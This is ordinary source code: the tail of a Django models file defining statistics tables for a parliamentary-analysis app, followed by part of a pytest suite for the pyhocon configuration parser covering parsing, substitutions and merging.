organization_value_sessions = models.FloatField(_('Presence of this PG'), blank=True, null=True, help_text=_('Presence of this PG')) maxPG_sessions = JSONField(blank=True, null=True, help_text=_('PG who has max prfesence of sessions')) average_sessions = models.FloatField(_('average'), blank=True, null=True, help_text=_('Average of PG attended sessions')) maximum_sessions = models.FloatField(_('max'), blank=True, null=True, help_text=_('Max of PG attended sessions')) organization_value_votes = models.FloatField(_('Presence of this PG'), blank=True, null=True, help_text=_('Presence of this PG')) maxPG_votes = JSONField(blank=True, null=True, help_text=_('PG who has max prfesence of sessions')) average_votes = models.FloatField(_('average'), blank=True, null=True, help_text=_('Average of PG attended sessions')) maximum_votes = models.FloatField(_('max'), blank=True, null=True, help_text=_('Max of PG attended sessions')) class MPOfPg(Timestampable, models.Model): organization = models.ForeignKey('Organization', blank=True, null=True, related_name='MPOfPg_', help_text=_('PG')) id_parladata = models.IntegerField(_('parladata id'), blank=True, null=True,help_text=_('id parladata')) MPs = JSONField(blank=True, null=True) created_for = models.DateField(_('date of activity'), blank=True, null=True, help_text=_('date of analize')) class MostMatchingThem(Timestampable, models.Model): organization = models.ForeignKey('Organization', blank=True, null=True, related_name='childrenMMT', help_text=_('PG')) created_for = models.DateField(_('date of analize'), blank=True, null=True, help_text=_('date of analize')) person1 = models.ForeignKey('parlaposlanci.Person', blank=True, null=True, related_name='childrenMMT1', help_text=_('MP1')) votes1 = models.FloatField(_('MatchingThem1'), blank=True, null=True, help_text=_('MatchingThem')) person2 = models.ForeignKey('parlaposlanci.Person', blank=True, null=True, related_name='childrenMMT2', help_text=_('MP2')) votes2 = models.FloatField(_('MatchingThem2'), blank=True, null=True, help_text=_('MatchingThem')) person3 = models.ForeignKey('parlaposlanci.Person', blank=True, null=True, related_name='childrenMMT3', help_text=_('MP3')) votes3 = models.FloatField(_('MatchingThem3'), blank=True, null=True, help_text=_('MatchingThem')) person4 = models.ForeignKey('parlaposlanci.Person', blank=True, null=True, related_name='childrenMMT4', help_text=_('MP4')) votes4 = models.FloatField(_('MatchingThem4'), blank=True, null=True, help_text=_('MatchingThem')) person5 = models.ForeignKey('parlaposlanci.Person', blank=True, null=True, related_name='childrenMMT5', help_text=_('MP5')) votes5 = models.FloatField(_('MatchingThem5'), blank=True, null=True, help_text=_('MatchingThem')) class LessMatchingThem(Timestampable, models.Model): organization = models.ForeignKey('Organization', blank=True, null=True, related_name='childrenLMT', help_text=_('PG')) created_for = models.DateField(_('date of analize'), blank=True, null=True, help_text=_('date of activity')) person1 = models.ForeignKey('parlaposlanci.Person', blank=True, null=True, related_name='childrenLMT1', help_text=_('MP1')) votes1 = models.FloatField(_('MatchingThem1'), blank=True, null=True, help_text=_('MatchingThem')) person2 = models.ForeignKey('parlaposlanci.Person', blank=True, null=True, related_name='childrenLMT2', help_text=_('MP2')) votes2 = models.FloatField(_('MatchingThem2'), blank=True, null=True, help_text=_('MatchingThem')) person3 = models.ForeignKey('parlaposlanci.Person', blank=True, null=True, related_name='childrenLMT3', help_text=_('MP3')) votes3 = models.FloatField(_('MatchingThem3'), blank=True, null=True, help_text=_('MatchingThem')) person4 = models.ForeignKey('parlaposlanci.Person', blank=True, null=True, related_name='childrenLMT4', help_text=_('MP4')) votes4 = models.FloatField(_('MatchingThem4'), blank=True, null=True, help_text=_('MatchingThem')) person5 = models.ForeignKey('parlaposlanci.Person', blank=True, null=True, related_name='childrenLMT5', help_text=_('MP5')) votes5 = models.FloatField(_('MatchingThem5'), blank=True, null=True, help_text=_('MatchingThem')) class DeviationInOrganization(Timestampable, models.Model): organization = models.ForeignKey('Organization', blank=True, null=True, related_name='childrenD', help_text=_('PG')) data = JSONField(blank=True, null=True) created_for = models.DateField(_('date of analize'), blank=True, null=True, help_text=_('date of activity')) class CutVotes(Timestampable, models.Model): created_for = models.DateField(_('date of activity'), blank=True, null=True, help_text=_('date of analize')) organization = models.ForeignKey("Organization") this_for = models.FloatField(default=0.0) this_against = models.FloatField(default=0.0) this_abstain = models.FloatField(default=0.0) this_absent = models.FloatField(default=0.0) coalition_for = models.FloatField(default=0.0) coalition_against = models.FloatField(default=0.0) coalition_abstain = models.FloatField(default=0.0) coalition_absent = models.FloatField(default=0.0) coalition_for_max = models.FloatField(default=0.0) coalition_against_max = models.FloatField(default=0.0) coalition_abstain_max = models.FloatField(default=0.0) coalition_absent_max = models.FloatField(default=0.0) coalition_for_max_org = models.CharField(max_length=500) coalition_against_max_org = models.CharField(max_length=500) coalition_abstain_max_org = models.CharField(max_length=500) coalition_absent_max_org = models.CharField(max_length=500) opposition_for = models.FloatField(default=0.0) opposition_against = models.FloatField(default=0.0) opposition_abstain = models.FloatField(default=0.0) opposition_absent = models.FloatField(default=0.0) opposition_for_max =models.FloatField(default=0.0) opposition_against_max = models.FloatField(default=0.0) opposition_abstain_max = models.FloatField(default=0.0) opposition_absent_max = models.FloatField(default=0.0) opposition_for_max_org = models.CharField(max_length=500) opposition_against_max_org = models.CharField(max_length=500) opposition_abstain_max_org = models.CharField(max_length=500) opposition_absent_max_org = models.CharField(max_length=500) class WorkingBodies(Timestampable, models.Model): created_for = models.DateField(_('date of activity'), blank=True, null=True, help_text=_('date of analize')) organization = models.ForeignKey("Organization") president = models.ForeignKey('parlaposlanci.Person', blank=True, null=True, help_text=_('President')) vice_president = JSONField() members = JSONField() viceMember = JSONField() coal_ratio = models.FloatField() oppo_ratio = models.FloatField() seats = JSONField() sessions = JSONField() class VocabularySize(Timestampable, models.Model): #Card for Vacabularty size of Org organization = models.ForeignKey('Organization', blank=True, null=True, related_name='vocabularySizes', help_text=_('Org')) created_for = models.DateField(_('date of activity'), blank=True, null=True, help_text=_('date of analize')) score = models.FloatField(_('Vacabularty size of this Org'), blank=True, null=True, help_text=_('Vacabularty size of this Org')) maxOrg = models.ForeignKey('Organization', blank=True, null=True, related_name='childrenVacSiz', help_text=_('Organization which has max vacabularty size')) average = models.FloatField(_('average'), blank=True, null=True, help_text=_('Vacabularty size of Org')) maximum = models.FloatField(_('max'), blank=True, null=True, help_text=_('Max of Org vacabularty size ')) class StyleScores(Timestampable, models.Model): #Card for Style Scores of MP organization = models.ForeignKey('Organization', blank=True, null=True, related_name='styleScores', help_text=_('Org')) created_for = models.DateField(_('date of activity'), blank=True, null=True, help_text=_('date of analize')) problematicno = models.FloatField(_('Problematicno style score of this PG'), blank=True, null=True, help_text=_('Problematicno score of this PG')) privzdignjeno = models.FloatField(_('Privzdignjeno style score of this PG'), blank=True, null=True, help_text=_('Privzdignjeno style score of this PG')) preprosto = models.FloatField(_('Preprosto style score of this PG'), blank=True, null=True, help_text=_('Preprosto style score of this PG')) problematicno_average = models.FloatField(_('Problematicno average style score'), blank=True, null=True, help_text=_('Problematicno average style score')) privzdignjeno_average = models.FloatField(_('Privzdignjeno average style score'), blank=True, null=True, help_text=_('Privzdignjeno average style score')) preprosto_average = models.FloatField(_('Preprosto average style score'), blank=True, null=True, help_text=_('Preprosto average style score')) class Tfidf(Timestampable, models.Model): organization = models.ForeignKey('Organization', blank=True, null=True, related_name='tfidf', help_text=_('Org')) created_for = models.DateField(_('date of activity'), blank=True, null=True, help_text=_('date of analize')) is_visible = models.BooleanField(_('is visible'), default=True) data = JSONField(blank=True, null=True) def __str__(self): return unicode(self.organization.name) + " --> " + unicode(self.created_for) class NumberOfQuestions(Timestampable, models.Model): organization = models.ForeignKey('Organization', blank=True, null=True, related_name='numOfQuestions', help_text=_('Org')) created_for = models.DateField(_('date of activity'), blank=True, null=True, help_text=_('date of analize')) score = models.FloatField(blank=True, null=True, help_text=_('MP score')) average = models.FloatField(blank=True, null=True, help_text=_('Average score')) maximum = models.FloatField(blank=True, null=True, help_text=_('Maximum score')) maxOrgs = JSONField(blank=True, null=True) class PresenceThroughTime(Timestampable, models.Model): organization = models.ForeignKey('Organization', blank=True, null=True, related_name='presenceThroughTime', help_text=_('Org')) created_for = models.DateField(_('date of activity'), blank=True, null=True, help_text=_('date of analize')) data = JSONField(blank=True, null=True) class IntraDisunion(Timestampable, models.Model): organization = models.ForeignKey('Organization', blank=True, null=True, related_name='intraDisunion', help_text=_('Org')) vote = models.ForeignKey('parlaseje.Vote', blank=True, null=True, related_name='vote_intradisunion', help_text=_('Vote')) maximum = models.CharField(_('Maximum'), blank = True, null = True, max_length = 128, help_text=_('Maximum of organization disunion.'))	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tests/test_config_parser.py	KevinMFong/pyhocon	424	3457	# -- encoding: utf-8 -- import json import os import shutil import tempfile from collections import OrderedDict from datetime import timedelta from pyparsing import ParseBaseException, ParseException, ParseSyntaxException import mock import pytest from pyhocon import (ConfigFactory, ConfigParser, ConfigSubstitutionException, ConfigTree) from pyhocon.exceptions import (ConfigException, ConfigMissingException, ConfigWrongTypeException) try: from dateutil.relativedelta import relativedelta as period except Exception: from datetime import timedelta as period class TestConfigParser(object): def test_parse_simple_value(self): config = ConfigFactory.parse_string( """t = { c = 5 "d" = true e.y = { f: 7 g: "hey dude!" h: hey man i = \"\"\" "first line" "second" line \"\"\" } j = [1, 2, 3] u = 192.168.1.3/32 g = null } """ ) assert config.get_string('t.c') == '5' assert config.get_int('t.c') == 5 assert config.get_float('t.c') == 5.0 assert config.get('t.e.y.f') == 7 assert config.get('t.e.y.g') == 'hey dude!' assert config.get('t.e.y.h') == 'hey man' assert [v.strip() for v in config.get('t.e.y.i').split('\n')] == ['', '"first line"', '"second" line', ''] assert config.get_bool('t.d') is True assert config.get_int('t.e.y.f') == 7 assert config.get('t.j') == [1, 2, 3] assert config.get('t.u') == '192.168.1.3/32' assert config.get_int('t.g') is None assert config.get_float('t.g') is None assert config.get_string('t.g') is None assert config.get_bool('t.g') is None assert config.get_list('t.g') is None assert config.get_config('t.g') is None @pytest.mark.parametrize('forbidden_char', ['+', '`', '^', '?', '!', '@', '', '&']) def test_fail_parse_forbidden_characters(self, forbidden_char): with pytest.raises(ParseBaseException): ConfigFactory.parse_string('a: hey man{}'.format(forbidden_char)) @pytest.mark.parametrize('forbidden_char', ['$', '"']) def test_fail_parse_forbidden_characters_in_context(self, forbidden_char): with pytest.raises(ParseException): ConfigFactory.parse_string('a: hey man{}'.format(forbidden_char)) @pytest.mark.parametrize('forbidden_char', ['+', '`', '^', '?', '!', '@', '', '&']) def test_parse_forbidden_characters_quoted(self, forbidden_char): value = "hey man{}".format(forbidden_char) config = ConfigFactory.parse_string('a: "{}"'.format(value)) assert config.get_string("a") == value def test_parse_with_enclosing_brace(self): config = ConfigFactory.parse_string( """ { a: { b: 5 } } """ ) assert config.get_string('a.b') == '5' @pytest.mark.parametrize('data_set', [ ('a: 1 minutes', period(minutes=1)), ('a: 1minutes', period(minutes=1)), ('a: 2 minute', period(minutes=2)), ('a: 3 m', period(minutes=3)), ('a: 3m', period(minutes=3)), ('a: 3 min', '3 min'), ('a: 4 seconds', period(seconds=4)), ('a: 5 second', period(seconds=5)), ('a: 6 s', period(seconds=6)), ('a: 6 sec', '6 sec'), ('a: 7 hours', period(hours=7)), ('a: 8 hour', period(hours=8)), ('a: 9 h', period(hours=9)), ('a: 10 weeks', period(weeks=10)), ('a: 11 week', period(weeks=11)), ('a: 12 w', period(weeks=12)), ('a: 10 days', period(days=10)), ('a: 11 day', period(days=11)), ('a: 12 d', period(days=12)), ('a: 110 microseconds', period(microseconds=110)), ('a: 111 microsecond', period(microseconds=111)), ('a: 112 micros', period(microseconds=112)), ('a: 113 micro', period(microseconds=113)), ('a: 114 us', period(microseconds=114)), ('a: 110 milliseconds', timedelta(milliseconds=110)), ('a: 111 millisecond', timedelta(milliseconds=111)), ('a: 112 millis', timedelta(milliseconds=112)), ('a: 113 milli', timedelta(milliseconds=113)), ('a: 114 ms', timedelta(milliseconds=114)), ('a: 110 nanoseconds', period(microseconds=0)), ('a: 11000 nanoseconds', period(microseconds=11)), ('a: 1110000 nanosecond', period(microseconds=1110)), ('a: 1120000 nanos', period(microseconds=1120)), ('a: 1130000 nano', period(microseconds=1130)), ('a: 1140000 ns', period(microseconds=1140)), ]) def test_parse_string_with_duration(self, data_set): config = ConfigFactory.parse_string(data_set[0]) assert config['a'] == data_set[1] def test_parse_string_with_duration_with_long_unit_name(self): config = ConfigFactory.parse_string( """ a: foo b: 10 weeks c: bar """ ) assert config['b'] == period(weeks=10) def test_parse_with_list_mixed_types_with_durations_and_trailing_comma(self): config = ConfigFactory.parse_string( """ a: foo b: [a, 1, 10 weeks, 5 minutes,] c: bar """ ) assert config['b'] == ['a', 1, period(weeks=10), period(minutes=5)] def test_parse_with_enclosing_square_bracket(self): config = ConfigFactory.parse_string("[1, 2, 3]") assert config == [1, 2, 3] def test_quoted_key_with_dots(self): config = ConfigFactory.parse_string( """ "a.b.c.d": 3 t { "d": { "c": 5 } } k { "b.f.d": 7 } """ ) assert config['"a.b.c.d"'] == 3 assert config['t.d.c'] == 5 assert config['k."b.f.d"'] == 7 def test_dotted_notation_merge(self): config = ConfigFactory.parse_string( """ a { b = foo c = bar } a.c = ${a.b}" "${a.b} a.d = baz """ ) assert config['a.b'] == "foo" assert config['a.c'] == "foo foo" assert config['a.d'] == "baz" def test_comma_to_separate_expr(self): config = ConfigFactory.parse_string( """ a=1, b="abc", c=the man, d=woof, a-b-c-d=test, a b c d=test2, "a b c d e"=test3 """ ) assert config.get('a') == 1 assert config.get('b') == 'abc' assert config.get('c') == 'the man' assert config.get('d') == 'woof' assert config.get('a-b-c-d') == 'test' assert config.get('a b c d') == 'test2' assert config.get('a b c d e') == 'test3' def test_dict_merge(self): config = ConfigFactory.parse_string( """ a { d { g.h.j.u: 5 g { h.d: 4 } g.h.k: f d } h.i.m = 7 h.i { d: 5 } h.i { e:65 } } """) expected_result = { "a": { "d": { "g": { "h": { "j": { "u": 5 }, "d": 4, "k": "f d" } } }, "h": { "i": { "m": 7, "d": 5, "e": 65 } } } } assert expected_result == config def test_parse_with_comments(self): config = ConfigFactory.parse_string( """ // comment 1 # comment 2 { c = test // comment 0 g = 6 test # comment 0 # comment 3 a: { # comment 4 b: test, # comment 5 } # comment 6 t = [1, # comment 7 2, # comment 8 3, # comment 9 ] } # comment 10 // comment 11 // comment 12 """ ) assert config.get('c') == 'test' assert config.get('g') == '6 test' assert config.get('a.b') == 'test' assert config.get_string('a.b') == 'test' assert config.get('t') == [1, 2, 3] def test_missing_config(self): config = ConfigFactory.parse_string( """ a = 5 """ ) # b is not set so show raise an exception with pytest.raises(ConfigMissingException): config.get('b') def test_parse_null(self): config = ConfigFactory.parse_string( """ a = null b = [null] """ ) assert config.get('a') is None assert config.get('b')[0] is None def test_parse_override(self): config = ConfigFactory.parse_string( """ { a: { b: { c = 5 } } a.b { c = 7 d = 8 } } """ ) assert config.get('a.b.c') == 7 assert config.get('a.b.d') == 8 def test_concat_dict(self): config = ConfigFactory.parse_string( """ a: {b: 1} a: {c: 2} b: {c: 3} {d: 4} { c: 5 } """ ) assert config.get('a.b') == 1 assert config.get('a.c') == 2 assert config.get('b.c') == 5 assert config.get('b.d') == 4 def test_concat_string(self): config = ConfigFactory.parse_string( """ a = a b c b = 5 b c = b 7 """ ) assert config.get('a') == 'a b c' assert config.get('b') == '5 b' assert config.get('c') == 'b 7' def test_concat_list(self): config = ConfigFactory.parse_string( """ a = [1, 2] [3, 4] [ 5, 6 ] """ ) assert config.get('a') == [1, 2, 3, 4, 5, 6] assert config.get_list('a') == [1, 2, 3, 4, 5, 6] def test_bad_concat(self): ConfigFactory.parse_string('a = 45\n') with pytest.raises(ConfigWrongTypeException): ConfigFactory.parse_string('a = [4] "4"') with pytest.raises(ConfigWrongTypeException): ConfigFactory.parse_string('a = "4" [5]') with pytest.raises(ConfigWrongTypeException): ConfigFactory.parse_string('a = {b: 5} "4"') def test_string_substitutions(self): config1 = ConfigFactory.parse_string( """ { a: { b: { c = str e = "str " } } d = ${a.b.c} f = ${a.b.e} } """ ) assert config1.get('a.b.c') == 'str' assert config1.get('d') == 'str' assert config1.get('f') == 'str ' config2 = ConfigFactory.parse_string( """ { a: { b: { c = str e = "str " } } d = test ${a.b.c} f = test ${a.b.e} } """ ) assert config2.get('a.b.c') == 'str' assert config2.get('d') == 'test str' assert config2.get('f') == 'test str ' config3 = ConfigFactory.parse_string( u""" { a: { b: { c = str e = "str " } } d = test ${a.b.c} me f = test ${a.b.e} me } """ ) assert config3.get('a.b.c') == 'str' assert config3.get('d') == 'test str me' assert config3.get('f') == 'test str me' def test_string_substitutions_with_no_space(self): config = ConfigFactory.parse_string( """ app.heap_size = 128 app.java_opts = [ -Xms${app.heap_size}m -Xmx${app.heap_size}m ] """ ) assert config.get('app.java_opts') == [ '-Xms128m', '-Xmx128m' ] def test_int_substitutions(self): config1 = ConfigFactory.parse_string( """ { a: { b: { c = 5 } } d = ${a.b.c} } """ ) assert config1.get('a.b.c') == 5 assert config1.get('d') == 5 config2 = ConfigFactory.parse_string( """ { a: { b: { c = 5 } } d = test ${a.b.c} } """ ) assert config2.get('a.b.c') == 5 assert config2.get('d') == 'test 5' config3 = ConfigFactory.parse_string( """ { a: { b: { c = 5 } } d = test ${a.b.c} me } """ ) assert config3.get('a.b.c') == 5 assert config3.get('d') == 'test 5 me' def test_cascade_string_substitutions(self): config = ConfigFactory.parse_string( """ { a: { b: { c = ${e} } } d = test ${a.b.c} me e = 7 } """ ) assert config.get('a.b.c') == 7 assert config.get('d') == 'test 7 me' def test_multiple_substitutions(self): config = ConfigFactory.parse_string( """ a = 5 b=${a}${a} c=${a} ${a} """ ) assert config == { 'a': 5, 'b': '55', 'c': '5 5' } def test_dict_substitutions(self): config = ConfigFactory.parse_string( """ data-center-generic = { cluster-size = 6 } data-center-east = ${data-center-generic} {name = "east"} """ ) assert config.get('data-center-east.cluster-size') == 6 assert config.get('data-center-east.name') == 'east' config2 = ConfigFactory.parse_string( """ data-center-generic = { cluster-size = 6 } data-center-east = {name = "east"} ${data-center-generic} """ ) assert config2.get('data-center-east.cluster-size') == 6 assert config2.get('data-center-east.name') == 'east' config3 = ConfigFactory.parse_string( """ data-center-generic = { cluster-size = 6 } data-center-east = {name = "east"} ${data-center-generic} { cluster-size = 9, opts = "-Xmx4g" } """ ) assert config3.get('data-center-east.cluster-size') == 9 assert config3.get('data-center-east.name') == 'east' assert config3.get('data-center-east.opts') == '-Xmx4g' config4 = ConfigFactory.parse_string( """ data-center-generic = { cluster-size = 6 } data-center-east = {name = "east"} ${data-center-generic} data-center-east-prod = ${data-center-east} {tmpDir=/tmp} """ ) assert config4.get('data-center-east.cluster-size') == 6 assert config4.get('data-center-east.name') == 'east' assert config4.get('data-center-east-prod.cluster-size') == 6 assert config4.get('data-center-east-prod.tmpDir') == '/tmp' config5 = ConfigFactory.parse_string( """ data-center-generic = { cluster-size = 6 } data-center-east = ${data-center-generic} data-center-east = { name = "east" } """ ) assert config5['data-center-east'] == { 'name': 'east', 'cluster-size': 6 } config6 = ConfigFactory.parse_string( """ data-center-generic = { cluster-size = 6 } data-center-east = { name = "east" } data-center-east = ${data-center-generic} """ ) assert config6['data-center-east'] == { 'name': 'east', 'cluster-size': 6 } def test_dos_chars_with_unquoted_string_noeol(self): config = ConfigFactory.parse_string("foo = bar") assert config['foo'] == 'bar' def test_dos_chars_with_quoted_string_noeol(self): config = ConfigFactory.parse_string('foo = "5"') assert config['foo'] == '5' def test_dos_chars_with_triple_quoted_string_noeol(self): config = ConfigFactory.parse_string('foo = """5"""') assert config['foo'] == '5' def test_dos_chars_with_int_noeol(self): config = ConfigFactory.parse_string("foo = 5") assert config['foo'] == 5 def test_dos_chars_with_float_noeol(self): config = ConfigFactory.parse_string("foo = 5.0") assert config['foo'] == 5.0 def test_list_substitutions(self): config = ConfigFactory.parse_string( """ common_modules = [php, python] host_modules = ${common_modules} [java] """ ) assert config.get('host_modules') == ['php', 'python', 'java'] config2 = ConfigFactory.parse_string( """ common_modules = [php, python] host_modules = [java] ${common_modules} """ ) assert config2.get('host_modules') == ['java', 'php', 'python'] config3 = ConfigFactory.parse_string( """ common_modules = [php, python] host_modules = [java] ${common_modules} [perl] """ ) assert config3.get('common_modules') == ['php', 'python'] assert config3.get('host_modules') == ['java', 'php', 'python', 'perl'] config4 = ConfigFactory.parse_string( """ common_modules = [php, python] host_modules = [java] ${common_modules} [perl] full_modules = ${host_modules} [c, go] """ ) assert config4.get('common_modules') == ['php', 'python'] assert config4.get('host_modules') == ['java', 'php', 'python', 'perl'] assert config4.get('full_modules') == ['java', 'php', 'python', 'perl', 'c', 'go'] def test_list_element_substitution(self): config = ConfigFactory.parse_string( """ main_language = php languages = [java, ${main_language}] """ ) assert config.get('languages') == ['java', 'php'] def test_substitution_list_with_append(self): config = ConfigFactory.parse_string( """ application.foo = 128mm application.large-jvm-opts = ["-XX:+UseParNewGC"] [-Xm16g, ${application.foo}] application.large-jvm-opts2 = [-Xm16g, ${application.foo}] ["-XX:+UseParNewGC"] """) assert config["application.large-jvm-opts"] == [ '-XX:+UseParNewGC', '-Xm16g', '128mm' ] assert config["application.large-jvm-opts2"] == [ '-Xm16g', '128mm', '-XX:+UseParNewGC', ] def test_substitution_list_with_append_substitution(self): config = ConfigFactory.parse_string( """ application.foo = 128mm application.default-jvm-opts = ["-XX:+UseParNewGC"] application.large-jvm-opts = ${application.default-jvm-opts} [-Xm16g, ${application.foo}] application.large-jvm-opts2 = [-Xm16g, ${application.foo}] ${application.default-jvm-opts} """) assert config["application.large-jvm-opts"] == [ '-XX:+UseParNewGC', '-Xm16g', '128mm' ] assert config["application.large-jvm-opts2"] == [ '-Xm16g', '128mm', '-XX:+UseParNewGC' ] def test_non_existent_substitution(self): with pytest.raises(ConfigSubstitutionException): ConfigFactory.parse_string( """ common_modules = ${non_existent} """ ) with pytest.raises(ConfigSubstitutionException): ConfigFactory.parse_string( """ common_modules = abc ${non_existent} """ ) with pytest.raises(ConfigSubstitutionException): ConfigFactory.parse_string( """ common_modules = ${non_existent} abc """ ) with pytest.raises(ConfigSubstitutionException): ConfigFactory.parse_string( """ common_modules = abc ${non_existent} def """ ) def test_non_compatible_substitution(self): with pytest.raises(ConfigWrongTypeException): ConfigFactory.parse_string( """ common_modules = [perl] host_modules = 55 ${common_modules} """ ) with pytest.raises(ConfigWrongTypeException): ConfigFactory.parse_string( """ common_modules = [perl] host_modules = ${common_modules} 55 """ ) with pytest.raises(ConfigWrongTypeException): ConfigFactory.parse_string( """ common_modules = [perl] host_modules = aa ${common_modules} bb """ ) with pytest.raises(ConfigWrongTypeException): ConfigFactory.parse_string( """ common_modules = [perl] host_modules = aa ${common_modules} """ ) with pytest.raises(ConfigWrongTypeException): ConfigFactory.parse_string( """ common_modules = [perl] host_modules = ${common_modules} aa """ ) with pytest.raises(ConfigWrongTypeException): ConfigFactory.parse_string( """ common_modules = [perl] host_modules = aa ${common_modules} bb """ ) def test_self_ref_substitution_array(self): config = ConfigFactory.parse_string( """ x = [1,2] x = ${x} [3,4] x = [-1, 0] ${x} [5, 6] x = [-3, -2] ${x} """ ) assert config.get("x") == [-3, -2, -1, 0, 1, 2, 3, 4, 5, 6] def test_self_append_array(self): config = ConfigFactory.parse_string( """ x = [1,2] x += [3,4] """ ) assert config.get("x") == [1, 2, 3, 4] def test_self_append_string(self): ''' Should be equivalent to x = abc x = ${?x} def ''' config = ConfigFactory.parse_string( """ x = abc x += def """ ) assert config.get("x") == "abc def" def test_self_append_non_existent_string(self): ''' Should be equivalent to x = ${?x} def ''' config = ConfigFactory.parse_string( """ x += def """ ) assert config.get("x") == " def" def test_self_append_nonexistent_array(self): config = ConfigFactory.parse_string( """ x += [1,2] """ ) assert config.get("x") == [1, 2] def test_self_append_object(self): config = ConfigFactory.parse_string( """ x = {a: 1} x += {b: 2} """ ) assert config.get("x") == {'a': 1, 'b': 2} def test_self_append_nonexistent_object(self): config = ConfigFactory.parse_string( """ x += {a: 1} """ ) assert config.get("x") == {'a': 1} def test_self_ref_substitution_array_to_dict(self): config = ConfigFactory.parse_string( """ x = [1,2] x = {x: [3,4]} x = {y: [5,6]} x = {z: ${x}} """ ) assert config.get("x.x") == [3, 4] assert config.get("x.y") == [5, 6] assert config.get("x.z") == {'x': [3, 4], 'y': [5, 6]} def test_self_ref_substitiotion_dict_in_array(self): config = ConfigFactory.parse_string( """ x = {x: [3,4]} x = [${x}, 2, 3] """ ) (one, two, three) = config.get("x") assert one == {'x': [3, 4]} assert two == 2 assert three == 3 def test_self_ref_substitution_dict_path(self): config = ConfigFactory.parse_string( """ x = {y: {z: 1}} x = ${x.y} """ ) assert config.get("x.y") == {'z': 1} assert config.get("x.z") == 1 assert set(config.get("x").keys()) == set(['y', 'z']) def test_self_ref_substitution_dict_path_hide(self): config = ConfigFactory.parse_string( """ x = {y: {y: 1}} x = ${x.y} """ ) assert config.get("x.y") == 1 assert set(config.get("x").keys()) == set(['y']) def test_self_ref_substitution_dict_recurse(self): with pytest.raises(ConfigSubstitutionException): ConfigFactory.parse_string( """ x = ${x} """ ) def test_self_ref_substitution_dict_recurse2(self): with pytest.raises(ConfigSubstitutionException): ConfigFactory.parse_string( """ x = ${x} x = ${x} """ ) def test_self_ref_substitution_dict_merge(self): ''' Example from HOCON spec ''' config = ConfigFactory.parse_string( """ foo : { a : { c : 1 } } foo : ${foo.a} foo : { a : 2 } """ ) assert config.get('foo') == {'a': 2, 'c': 1} assert set(config.keys()) == set(['foo']) def test_self_ref_substitution_dict_otherfield(self): ''' Example from HOCON spec ''' config = ConfigFactory.parse_string( """ bar : { foo : 42, baz : ${bar.foo} } """ ) assert config.get("bar") == {'foo': 42, 'baz': 42} assert set(config.keys()) == set(['bar']) def test_self_ref_substitution_dict_otherfield_merged_in(self): ''' Example from HOCON spec ''' config = ConfigFactory.parse_string( """ bar : { foo : 42, baz : ${bar.foo} } bar : { foo : 43 } """ ) assert config.get("bar") == {'foo': 43, 'baz': 43} assert set(config.keys()) == set(['bar']) def test_self_ref_substitution_dict_otherfield_merged_in_mutual(self): ''' Example from HOCON spec ''' config = ConfigFactory.parse_string( """ // bar.a should end up as 4 bar : { a : ${foo.d}, b : 1 } bar.b = 3 // foo.c should end up as 3 foo : { c : ${bar.b}, d : 2 } foo.d = 4 """ ) assert config.get("bar") == {'a': 4, 'b': 3} assert config.get("foo") == {'c': 3, 'd': 4} assert set(config.keys()) == set(['bar', 'foo']) def test_self_ref_substitution_string_opt_concat(self): ''' Example from HOCON spec ''' config = ConfigFactory.parse_string( """ a = ${?a}foo """ ) assert config.get("a") == 'foo' assert set(config.keys()) == set(['a']) def test_self_ref_substitution_dict_recurse_part(self): with pytest.raises(ConfigSubstitutionException): ConfigFactory.parse_string( """ x = ${x} {y: 1} x = ${x.y} """ ) def test_self_ref_substitution_object(self): config = ConfigFactory.parse_string( """ x = {a: 1, b: 2} x = ${x} {c: 3} x = {z: 0} ${x} x = {y: -1} ${x} {d: 4} """ ) assert config.get("x") == {'a': 1, 'b': 2, 'c': 3, 'z': 0, 'y': -1, 'd': 4} def test_self_ref_child(self): config = ConfigFactory.parse_string( """ a.b = 3 a.b = ${a.b} a.b = ${a.b} a.c = [1,2] a.c = ${a.c} a.d = {foo: bar} a.d = ${a.d} """ ) assert config.get("a") == {'b': 3, 'c': [1, 2], 'd': {'foo': 'bar'}} def test_concat_multi_line_string(self): config = ConfigFactory.parse_string( """ common_modules = perl \ java \ python """ ) assert [x.strip() for x in config['common_modules'].split() if x.strip(' ') != ''] == ['perl', 'java', 'python'] def test_concat_multi_line_list(self): config = ConfigFactory.parse_string( """ common_modules = [perl] \ [java] \ [python] """ ) assert config['common_modules'] == ['perl', 'java', 'python'] def test_concat_multi_line_dict(self): config = ConfigFactory.parse_string( """ common_modules = {a:perl} \ {b:java} \ {c:python} """ ) assert config['common_modules'] == {'a': 'perl', 'b': 'java', 'c': 'python'} def test_parse_URL_from_samples(self): config = ConfigFactory.parse_URL("file:samples/aws.conf") assert config.get('data-center-generic.cluster-size') == 6 assert config.get('large-jvm-opts') == ['-XX:+UseParNewGC', '-Xm16g'] def test_parse_URL_from_invalid(self): config = ConfigFactory.parse_URL("https://nosuchurl") assert config == [] def test_include_dict_from_samples(self): config = ConfigFactory.parse_file("samples/animals.conf") assert config.get('cat.garfield.say') == 'meow' assert config.get('dog.mutt.hates.garfield.say') == 'meow' def test_include_glob_dict_from_samples(self): config = ConfigFactory.parse_file("samples/all_animals.conf") assert config.get('animals.garfield.say') == 'meow' assert config.get('animals.mutt.hates.garfield.say') == 'meow' def test_include_glob_list_from_samples(self): config = ConfigFactory.parse_file("samples/all_bars.conf") bars = config.get_list('bars') assert len(bars) == 10 names = {bar['name'] for bar in bars} types = {bar['type'] for bar in bars if 'type' in bar} print(types, '(((((') assert '<NAME>' in names assert 'Homer\'s favorite coffee' in names assert 'milk' in types def test_list_of_dicts(self): config = ConfigFactory.parse_string( """ a: [ {a: 1, b: 2}, {a: 3, c: 4}, ] """ ) assert config['a'] == [ {'a': 1, 'b': 2}, {'a': 3, 'c': 4} ] def test_list_of_lists(self): config = ConfigFactory.parse_string( """ a: [ [1, 2] [3, 4] ] """ ) assert config['a'] == [ [1, 2], [3, 4] ] def test_list_of_dicts_with_merge(self): config = ConfigFactory.parse_string( """ b = {f: 4} a: [ ${b} {a: 1, b: 2}, {a: 3, c: 4} ${b}, {a: 3} ${b} {c: 6}, ] """ ) assert config['a'] == [ {'a': 1, 'b': 2, 'f': 4}, {'a': 3, 'c': 4, 'f': 4}, {'a': 3, 'c': 6, 'f': 4} ] def test_list_of_lists_with_merge(self): config = ConfigFactory.parse_string( """ b = [5, 6] a: [ ${b} [1, 2] [3, 4] ${b} [1, 2] ${b} [7, 8] ] """ ) assert config['a'] == [ [5, 6, 1, 2], [3, 4, 5, 6], [1, 2, 5, 6, 7, 8] ] def test_invalid_assignment(self): with pytest.raises(ParseSyntaxException): 